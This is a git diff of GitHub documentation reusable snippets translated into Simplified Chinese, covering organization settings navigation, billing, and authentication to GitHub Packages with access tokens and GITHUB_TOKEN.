index 0000000000..0db852728e --- /dev/null +++ b/translations/zh-CN/data/reusables/open-source/open-source-learning-lab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 78bb4f821d2d438090d06e3ed184218b8ea59eb5 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145100630" +--- +还可以免费学习 [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}) 课程来维护开源社区。 diff --git a/translations/zh-CN/data/reusables/organizations/billing_plans.md b/translations/zh-CN/data/reusables/organizations/billing_plans.md index e7f421ccbc..f6b823312a 100644 --- a/translations/zh-CN/data/reusables/organizations/billing_plans.md +++ b/translations/zh-CN/data/reusables/organizations/billing_plans.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-label="The credit card icon" %} Billing and plans**. +--- +ms.openlocfilehash: a0be33fe07db61bee034a28d281318591ea7e411 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145100609" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“访问”部分中,单击“{% octicon "credit-card" aria-label="The credit card icon" %} 帐单和计划”。 {% else %} -1. In your organization's Settings sidebar, click **Billing & plans**. -![Billing settings](/assets/images/help/billing/settings_organization_billing_plans_tab.png) -{% endif %} +1. 在组织的“设置”边栏中,单击“账单和计划”。 +![帐单设置](/assets/images/help/billing/settings_organization_billing_plans_tab.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/organizations/github-apps-settings-sidebar.md b/translations/zh-CN/data/reusables/organizations/github-apps-settings-sidebar.md index 439e009ac0..a0ae34c88a 100644 --- a/translations/zh-CN/data/reusables/organizations/github-apps-settings-sidebar.md +++ b/translations/zh-CN/data/reusables/organizations/github-apps-settings-sidebar.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the left sidebar, select **{% octicon "code" aria-label="The code icon" %} Developer settings** then click **{% data variables.product.prodname_github_apps %}**. +--- +ms.openlocfilehash: 0747332c0a1381226ff218260b506f7623748db7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145100568" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在左侧边栏中,选择“{% octicon "code" aria-label="The code icon" %} 开发人员设置”,然后单击“{% data variables.product.prodname_github_apps %}” 。 {% else %} -1. In the left sidebar, click **{% data variables.product.prodname_github_apps %}**. -![{% data variables.product.prodname_github_apps %} settings](/assets/images/help/organizations/github-apps-settings-sidebar.png) -{% endif %} +1. 在左侧边栏中,单击“{% data variables.product.prodname_github_apps %}”。 +![{% data variables.product.prodname_github_apps %} 设置](/assets/images/help/organizations/github-apps-settings-sidebar.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/organizations/member-privileges.md b/translations/zh-CN/data/reusables/organizations/member-privileges.md index 3fe439b170..07536fff04 100644 --- a/translations/zh-CN/data/reusables/organizations/member-privileges.md +++ b/translations/zh-CN/data/reusables/organizations/member-privileges.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Access" section of the sidebar, click **{% octicon "people" aria-label="The people icon" %} Member privileges**. +--- +ms.openlocfilehash: 2f7a3674b3d92f3785d3f8a4ada53004ee8554d5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145100553" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在侧边栏的“访问”部分,单击“{% octicon "people" aria-label="The people icon" %} 成员权限”。 {% else %} -4. In the left sidebar, click **Member privileges**. -![Member privileges option in org settings](/assets/images/help/organizations/org-settings-member-privileges.png) -{% endif %} +4. 在左侧边栏中,单击“成员权限”。 +![组织设置中的成员权限选项](/assets/images/help/organizations/org-settings-member-privileges.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/organizations/navigate-to-org.md b/translations/zh-CN/data/reusables/organizations/navigate-to-org.md index ef3f95d2c2..cedfc07ef4 100644 --- a/translations/zh-CN/data/reusables/organizations/navigate-to-org.md +++ b/translations/zh-CN/data/reusables/organizations/navigate-to-org.md @@ -1 +1,9 @@ -1. On {% data variables.location.product_location %}, navigate to the main page of the organization. +--- +ms.openlocfilehash: fbf26f7ab8e188cea909554cba9edd5d6ab4ca6c +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145100551" +--- +1. 在 {% data variables.product.product_location %} 上,导航到组织的主页。 diff --git a/translations/zh-CN/data/reusables/organizations/organizations_include.md b/translations/zh-CN/data/reusables/organizations/organizations_include.md new file mode 100644 index 0000000000..a8ce1335b9 --- /dev/null +++ b/translations/zh-CN/data/reusables/organizations/organizations_include.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 02e080d26aded3b22b6a9819208eb1908aae7cf0 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145100515" +--- +组织包括: +- 具有各种角色的不受限成员资格,这些角色授予[对组织及其数据不同级别的访问权限](/articles/permission-levels-for-an-organization) +- 向成员授予[一系列访问组织存储库的权限](/articles/repository-permission-levels-for-an-organization)的能力 +- [反映公司或小组](/articles/about-teams)具有级联访问权限和提及功能的结构的嵌套团队{% ifversion not ghae %} +- 组织所有者查看成员的[双因素身份验证 (2FA) 状态](/articles/about-two-factor-authentication)的能力。 +- [要求所有组织成员使用双因素身份验证](/articles/requiring-two-factor-authentication-in-your-organization)的选项{% endif %}{% ifversion fpt%} +- [使用 GitHub Classroom 创建和管理教室](/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms)的能力{% endif %} + +{% data reusables.organizations.organization-plans %} diff --git a/translations/zh-CN/data/reusables/organizations/repository-defaults.md b/translations/zh-CN/data/reusables/organizations/repository-defaults.md index bb34fffba4..c8e69ba431 100644 --- a/translations/zh-CN/data/reusables/organizations/repository-defaults.md +++ b/translations/zh-CN/data/reusables/organizations/repository-defaults.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Code, planning, and automation" section of the sidebar, select **{% octicon "repo" aria-label="The repo icon" %} Repository**, then click **Repository defaults**. +--- +ms.openlocfilehash: c0c54b40cc265c869a71ab46a7de131396226fff +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145100492" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在侧边栏的“代码、规划和自动化”部分,选择“{% octicon "repo" aria-label="The repo icon" %} 存储库”,然后单击“存储库默认值” 。 {% else %} -1. In the left sidebar, click **Repository defaults**. - ![Repository defaults tab](/assets/images/help/organizations/repo-defaults-tab.png) -{% endif %} +1. 在左侧边栏中,单击“存储库默认值”。 + ![“存储库默认值”选项卡](/assets/images/help/organizations/repo-defaults-tab.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/organizations/security-and-analysis.md b/translations/zh-CN/data/reusables/organizations/security-and-analysis.md index 5954398bf5..1806cbda31 100644 --- a/translations/zh-CN/data/reusables/organizations/security-and-analysis.md +++ b/translations/zh-CN/data/reusables/organizations/security-and-analysis.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Security" section of the sidebar, click **{% octicon "codescan" aria-label="The codescan icon" %} Code security and analysis**. +--- +ms.openlocfilehash: f7cdac66bd6f098ee1d58be046ad0038a56f20a9 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147875998" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“安全性”部分中,单击“{% octicon "codescan" aria-label="The codescan icon" %} 代码安全性和分析”。 {% else %} -1. In the left sidebar, click **Security & analysis**. - !["Security & analysis" tab in organization settings](/assets/images/help/organizations/org-settings-security-and-analysis.png) -{% endif %} +1. 在左侧边栏中,单击“安全性和分析”。 + ![组织设置中的“安全性和分析”选项卡](/assets/images/help/organizations/org-settings-security-and-analysis.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/organizations/security.md b/translations/zh-CN/data/reusables/organizations/security.md index ac736ecebb..f58470ea86 100644 --- a/translations/zh-CN/data/reusables/organizations/security.md +++ b/translations/zh-CN/data/reusables/organizations/security.md @@ -1,7 +1,14 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Security" section of the sidebar, click **{% octicon "shield-lock" aria-label="The shield-lock icon" %} Authentication security**. +--- +ms.openlocfilehash: 1099df2d84425283e75cf69037268205f51a852f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145100471" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在侧边栏的“安全性”部分中,单击“{% octicon "shield-lock" aria-label="The shield-lock icon" %} 身份验证安全性”。 {% else %} -1. In the left sidebar, click **Organization security**. +1. 在左侧边栏中,单击“组织安全性”。 - ![Organization security settings](/assets/images/help/organizations/org-security-settings-tab.png) -{% endif %} + ![“组织安全性”设置](/assets/images/help/organizations/org-security-settings-tab.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/organizations/teams_sidebar.md b/translations/zh-CN/data/reusables/organizations/teams_sidebar.md index 2c794e3789..8913d596b1 100644 --- a/translations/zh-CN/data/reusables/organizations/teams_sidebar.md +++ b/translations/zh-CN/data/reusables/organizations/teams_sidebar.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Access" section of the sidebar, click **{% octicon "comment-discussion" aria-label="The comment-discussion icon" %} Team discussions**. +--- +ms.openlocfilehash: 8573139452da85d549ca0fd3d2ef895665586d6c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145100428" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“访问”部分,单击“{% octicon "comment-discussion" aria-label="The comment-discussion icon" %} 团队讨论”。 {% else %} -1. In the Settings sidebar, click **Teams**. - ![Teams tab in the organization settings sidebar](/assets/images/help/settings/settings-sidebar-team-settings.png) -{% endif %} +1. 在“设置”边栏中,单击“团队”。 + ![组织设置侧边栏中的“团队”选项卡](/assets/images/help/settings/settings-sidebar-team-settings.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/organizations/verified-domains.md b/translations/zh-CN/data/reusables/organizations/verified-domains.md index ca6ecc74c2..ee49342771 100644 --- a/translations/zh-CN/data/reusables/organizations/verified-domains.md +++ b/translations/zh-CN/data/reusables/organizations/verified-domains.md @@ -1,6 +1,13 @@ -{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} -1. In the "Security" section of the sidebar, click **{% octicon "verified" aria-label="The verified icon" %} Verified and approved domains**. +--- +ms.openlocfilehash: e364b9fab16dad02c62aef3c1cef090b32748598 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145100414" +--- +{% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的"安全性"部分中,单击“{% octicon "verified" aria-label="The verified icon" %} 已验证和已批准的域”。 {% else %} -1. In the left sidebar, click **Verified & approved domains**. -!["Verified & approved domains" tab](/assets/images/help/organizations/verified-domains-button.png) -{% endif %} +1. 在左侧边栏中,单击“已验证和已批准的域”。 +![“已验证和已批准的域”选项卡](/assets/images/help/organizations/verified-domains-button.png) {% endif %} diff --git a/translations/zh-CN/data/reusables/package_registry/about-graphql-support.md b/translations/zh-CN/data/reusables/package_registry/about-graphql-support.md new file mode 100644 index 0000000000..b466c84d6a --- /dev/null +++ b/translations/zh-CN/data/reusables/package_registry/about-graphql-support.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 116b758f03e77096d6d5455c21e3db0bc636eefb +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193240" +--- +{% ifversion packages-registries-v2 %}对于某些注册表,{% else %}你{% endif %}可以使用 GraphQL 删除专用包的版本。 + +{% data reusables.package_registry.no-graphql-to-delete-packages %} \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/package_registry/authenticate-packages.md b/translations/zh-CN/data/reusables/package_registry/authenticate-packages.md index bc3e424d23..1f0dfef4e3 100644 --- a/translations/zh-CN/data/reusables/package_registry/authenticate-packages.md +++ b/translations/zh-CN/data/reusables/package_registry/authenticate-packages.md @@ -1,9 +1,15 @@ -{% data reusables.package_registry.packages-classic-pat-only %} +--- +ms.openlocfilehash: fd3590bb212b7c9521cb447ca012b19270469a8c +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145100405" +--- +需要访问令牌才能发布、安装和删除包。 -You need an access token to publish, install, and delete private, internal, and public packages. +可使用个人访问令牌 (PAT) 向 {% data variables.product.prodname_registry %} 或 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 进行身份验证。 创建个人访问令牌时,可根据需要为令牌分配不同的作用域。 有关 PAT 的包相关范围的详细信息,请参阅“[关于 GitHub Packages 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)”。 -You can use a {% data variables.product.pat_v1 %} to authenticate to {% data variables.product.prodname_registry %} or the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. When you create a {% data variables.product.pat_v1 %}, you can assign the token different scopes depending on your needs. For more information about packages-related scopes for a {% data variables.product.pat_v1 %}, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)." - -To authenticate to a {% data variables.product.prodname_registry %} registry within a {% data variables.product.prodname_actions %} workflow, you can use: -- `GITHUB_TOKEN` to publish packages associated with the workflow repository. -- a {% data variables.product.pat_v1 %} with at least `packages:read` scope to install packages associated with other private repositories (which `GITHUB_TOKEN` can't access). +要在 {% data variables.product.prodname_actions %} 工作流程内向 {% data variables.product.prodname_registry %} 注册表验证,您可以使用: +- `GITHUB_TOKEN` 发布与工作流存储库相关联的包。 +- PAT 来安装与其他专用存储库(`GITHUB_TOKEN` 无法访问)相关联的包。 diff --git a/translations/zh-CN/data/reusables/package_registry/authenticate-to-container-registry-steps.md b/translations/zh-CN/data/reusables/package_registry/authenticate-to-container-registry-steps.md index cc61c65d06..5034e62dd8 100644 --- a/translations/zh-CN/data/reusables/package_registry/authenticate-to-container-registry-steps.md +++ b/translations/zh-CN/data/reusables/package_registry/authenticate-to-container-registry-steps.md @@ -1,23 +1,29 @@ -{% data reusables.package_registry.packages-classic-pat-only %} - -1. Create a new {% data variables.product.pat_v1 %} with the appropriate scopes for the tasks you want to accomplish. If your organization requires SSO, you must enable SSO for your new token. +--- +ms.openlocfilehash: 50e7f623d6585c8697d0b1c6c827a855df26c571 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145100394" +--- +1. 针对要完成的任务,新创具有适当作用域的个人访问令牌 (PAT)。 如果您的组织需要 SSO,则必须为新令牌启用 SSO。 {% warning %} - **Note:** By default, when you select the `write:packages` scope for your {% data variables.product.pat_v1 %} in the user interface, the `repo` scope will also be selected. The `repo` scope offers unnecessary and broad access, which we recommend you avoid using for {% data variables.product.prodname_actions %} workflows in particular. For more information, see "[Security hardening for GitHub Actions](/actions/getting-started-with-github-actions/security-hardening-for-github-actions#considering-cross-repository-access)." As a workaround, you can select just the `write:packages` scope for your {% data variables.product.pat_v1 %} in the user interface with this url: `https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/settings/tokens/new?scopes=write:packages`. + 注意:默认情况下,在用户界面中为个人访问令牌 (PAT) 选择 `write:packages` 范围时,`repo` 范围也将被选中。 `repo` 范围提供了不必要和广泛的访问权限,我们建议你尤其避免使用 GitHub Actions 工作流。 有关详细信息,请参阅“[GitHub Actions 的安全强化](/actions/getting-started-with-github-actions/security-hardening-for-github-actions#considering-cross-repository-access)”。 解决方法是在以下 URL 的用户界面中为 PAT 选择 `write:packages` 范围:`https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/settings/tokens/new?scopes=write:packages`。 {% endwarning %} - - Select the `read:packages` scope to download container images and read their metadata. - - Select the `write:packages` scope to download and upload container images and read and write their metadata. - - Select the `delete:packages` scope to delete container images. + - 选择 `read:packages` 范围以下载容器映像并读取其元数据。 + - 选择 `write:packages` 范围以下载和上传容器映像并读写其元数据。 + - 选择 `delete:packages` 范围以删除容器映像。 - For more information, see "[Creating a {% data variables.product.pat_generic %} for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)." + 有关详细信息,请参阅“[为命令行创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)”。 -2. Save your {% data variables.product.pat_v1 %}. We recommend saving your token as an environment variable. +2. 保存您的 PAT。 我们建议将 PAT 保存为环境变量。 ```shell $ export CR_PAT=YOUR_TOKEN ``` -3. Using the CLI for your container type, sign in to the {% data variables.product.prodname_container_registry %} service at `{% data reusables.package_registry.container-registry-hostname %}`. +3. 使用容器类型的 CLI,登录到 `{% data reusables.package_registry.container-registry-hostname %}` 上的 {% data variables.product.prodname_container_registry %} 服务。 {% raw %} ```shell $ echo $CR_PAT | docker login {% endraw %}{% data reusables.package_registry.container-registry-hostname %}{% raw %} -u USERNAME --password-stdin diff --git a/translations/zh-CN/data/reusables/package_registry/authenticate_with_pat_for_container_registry.md b/translations/zh-CN/data/reusables/package_registry/authenticate_with_pat_for_container_registry.md new file mode 100644 index 0000000000..5578fb4e07 --- /dev/null +++ b/translations/zh-CN/data/reusables/package_registry/authenticate_with_pat_for_container_registry.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 0957d7c909250bfccb51681eac05e3f3196bb6d5 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145100393" +--- +{% ifversion fpt or ghec or ghes > 3.4 %} + +若要对 {% data variables.product.prodname_actions %} 工作流程中的 {% data variables.product.prodname_container_registry %} 进行身份验证,请使用 `GITHUB_TOKEN` 以获得最佳安全性和体验。 如果你的工作流程使用个人访问令牌 (PAT) 向 `{% data reusables.package_registry.container-registry-hostname %}` 进行身份验证,那么我们强烈建议你更新工作流以使用 `GITHUB_TOKEN`。 + +{% ifversion fpt or ghec %}有关使用个人访问令牌更新对 `{% data reusables.package_registry.container-registry-hostname %}` 进行身份验证的工作流的指导,请参阅“[升级访问 `ghcr.io` 的工作流](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions#upgrading-a-workflow-that-accesses-ghcrio)”。{% endif %} + +有关 `GITHUB_TOKEN` 的详细信息,请参阅“[工作流中的身份验证](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)”。 + +如果你在操作中使用 {% data variables.product.prodname_container_registry %},请遵循“[GitHub Actions 的安全强化](/actions/getting-started-with-github-actions/security-hardening-for-github-actions#considering-cross-repository-access)”中的安全最佳实践。 + +{% endif %} diff --git a/translations/zh-CN/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md b/translations/zh-CN/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md index 74c99daf27..c3a31460f0 100644 --- a/translations/zh-CN/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md +++ b/translations/zh-CN/data/reusables/package_registry/authenticate_with_pat_for_v2_registry.md @@ -1,9 +1,17 @@ -Some {% data variables.product.prodname_registry %} registries support granular permissions. This means you can choose to allow packages to be owned by a user or an organization, or linked to a repository. For the list of registries that support granular permissions, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#granular-permissions-for-userorganization-scoped-packages)." +--- +ms.openlocfilehash: 4cf4347384a6be2cadb240a15bc78efea0097799 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148192751" +--- +某些 {% data variables.product.prodname_registry %} 注册表支持精细权限。 这意味着你可以选择允许包由用户或组织拥有,或者链接到存储库。 有关支持精细权限的注册表列表,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#granular-permissions-for-userorganization-scoped-packages)”。 -For registries that support granular permissions, if your workflow is using a {% data variables.product.pat_generic %} to authenticate to a registry, then we highly recommend you update your workflow to use the `GITHUB_TOKEN`. +对于支持精细权限的注册表,如果工作流使用 {% data variables.product.pat_generic %} 向注册表进行身份验证,则强烈建议更新工作流以使用 `GITHUB_TOKEN`。 -For guidance on updating your workflows that authenticate to a registry with a {% data variables.product.pat_generic %}, see "[Upgrading a workflow that accesses a registry using a {% data variables.product.pat_generic %}](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions#upgrading-a-workflow-that-accesses-a-registry-using-a-personal-access-token)." +有关更新使用 {% data variables.product.pat_generic %} 对注册表进行身份验证的工作流的指南,请参阅“[升级使用 {% data variables.product.pat_generic %} 访问注册表的工作流](/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions#upgrading-a-workflow-that-accesses-a-registry-using-a-personal-access-token)”。 -For more information about the `GITHUB_TOKEN`, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)." +有关 `GITHUB_TOKEN` 的详细信息,请参阅“[工作流中的身份验证](/actions/reference/authentication-in-a-workflow#using-the-github_token-in-a-workflow)”。 -For more information about the best practices when using a registry in actions, see "[Security hardening for GitHub Actions](/actions/getting-started-with-github-actions/security-hardening-for-github-actions#considering-cross-repository-access)." +有关在操作中使用注册表时的最佳做法的详细信息,请参阅“[GitHub Actions 的安全强化](/actions/getting-started-with-github-actions/security-hardening-for-github-actions#considering-cross-repository-access)”。 diff --git a/translations/zh-CN/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md b/translations/zh-CN/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md index 7a5938bed8..9b27c02af4 100644 --- a/translations/zh-CN/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md +++ b/translations/zh-CN/data/reusables/package_registry/next-steps-for-packages-enterprise-setup.md @@ -1,3 +1,11 @@ -As a next step, you can customize which package ecosystems you would like to make available to end users on {% data variables.location.product_location %}. For more information, see "[Configuring package ecosystem support for your enterprise](/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)." +--- +ms.openlocfilehash: 41b658e6f15ac145ddb7637a1d0ae328b50b8af2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145100373" +--- +作为下一步,您可以自定义您想要提供给最终用户的 {% data variables.product.product_location %} 软件包生态系统。 有关详细信息,请参阅“[为企业配置包生态系统支持](/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)”。 -For an overview of getting started with {% data variables.product.prodname_registry %} on {% data variables.product.prodname_dotcom %}, see "[Getting started with GitHub Packages for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)." +有关在 {% data variables.product.prodname_dotcom %} 上使用 {% data variables.product.prodname_registry %} 的概述,请参阅“[开始为你的企业使用 GitHub Packages](/admin/packages/getting-started-with-github-packages-for-your-enterprise)”。 diff --git a/translations/zh-CN/data/reusables/package_registry/no-graphql-to-delete-packages.md b/translations/zh-CN/data/reusables/package_registry/no-graphql-to-delete-packages.md index cb0fceb232..9177c70cd0 100644 --- a/translations/zh-CN/data/reusables/package_registry/no-graphql-to-delete-packages.md +++ b/translations/zh-CN/data/reusables/package_registry/no-graphql-to-delete-packages.md @@ -1,3 +1,10 @@ -{% ifversion packages-registries-v2 %} -You cannot use the {% data variables.product.prodname_registry %} GraphQL API with registries that support granular permissions. For the registries that **only** support repository-scoped permissions, and can be used with the GraphQL API, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)." +--- +ms.openlocfilehash: c3ea88374e3956d45d2bc1c8536273468f59f249 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: "148193063" +--- +{% ifversion packages-registries-v2 %}不能将 {% data variables.product.prodname_registry %} GraphQL API 与支持精细权限的注册表配合使用。 有关仅支持存储库范围权限且可与 GraphQL API 一起使用的注册表,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#permissions-for-repository-scoped-packages)”。 {% endif %} \ No newline at end of file diff --git a/translations/zh-CN/data/reusables/package_registry/package-registry-with-github-tokens.md b/translations/zh-CN/data/reusables/package_registry/package-registry-with-github-tokens.md index e6f45e55dd..4cc3fa2cb3 100644 --- a/translations/zh-CN/data/reusables/package_registry/package-registry-with-github-tokens.md +++ b/translations/zh-CN/data/reusables/package_registry/package-registry-with-github-tokens.md @@ -1 +1,9 @@ -If you are using a {% data variables.product.prodname_actions %} workflow, you can use a `GITHUB_TOKEN` to publish and consume packages in {% data variables.product.prodname_registry %} without needing to store and manage a {% data variables.product.pat_generic %}. For more information, see "[Authenticating with the `GITHUB_TOKEN`](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)." +--- +ms.openlocfilehash: 12305a068862ac705c591ff473e7170dd8b9e3f5 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145100371" +--- +如果使用的是 {% data variables.product.prodname_actions %} 工作流,可使用 `GITHUB_TOKEN` 发布和使用 {% data variables.product.prodname_registry %} 中的包,而无需存储和管理个人访问令牌。 有关详细信息,请参阅“[使用 `GITHUB_TOKEN` 进行身份验证](/actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token)”。 diff --git a/translations/zh-CN/data/reusables/package_registry/packages-billing.md b/translations/zh-CN/data/reusables/package_registry/packages-billing.md index 07e599fb33..c878f11167 100644 --- a/translations/zh-CN/data/reusables/package_registry/packages-billing.md +++ b/translations/zh-CN/data/reusables/package_registry/packages-billing.md @@ -1 +1,9 @@ -{% data variables.product.prodname_registry %} usage is free for public packages. For private packages, each account on {% data variables.location.product_location %} receives a certain amount of free storage and data transfer, depending on the product used with the account. Any usage beyond the included amounts is controlled by spending limits. +--- +ms.openlocfilehash: ac24f76da582d8aaa7f7a0cbba7d15ab80f95629 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883778" +--- +公共包免费使用 {% data variables.product.prodname_registry %}。 对于专用包,每个 {% data variables.product.product_location %} 帐户可获得一定数量的免费存储和数据传输,具体取决于帐户所使用的产品。 超出包含数量的任何使用量都由支出限制控制。 diff --git a/translations/zh-CN/data/reusables/package_registry/required-scopes.md b/translations/zh-CN/data/reusables/package_registry/required-scopes.md index 9a69fbda9b..ce01ed8fd3 100644 --- a/translations/zh-CN/data/reusables/package_registry/required-scopes.md +++ b/translations/zh-CN/data/reusables/package_registry/required-scopes.md @@ -1 +1,9 @@ -You must use a {% data variables.product.pat_v1 %} with the appropriate scopes to publish and install packages in {% data variables.product.prodname_registry %}. For more information, see "[About {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-github-packages#authenticating-to-github-packages)." +--- +ms.openlocfilehash: 63e116796a07c20d4a6bbb14cfd493f3c2bc09fe +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145100350" +--- +您必须使用具有适当范围的个人访问令牌才可在 {% data variables.product.prodname_registry %} 中发布和安装。 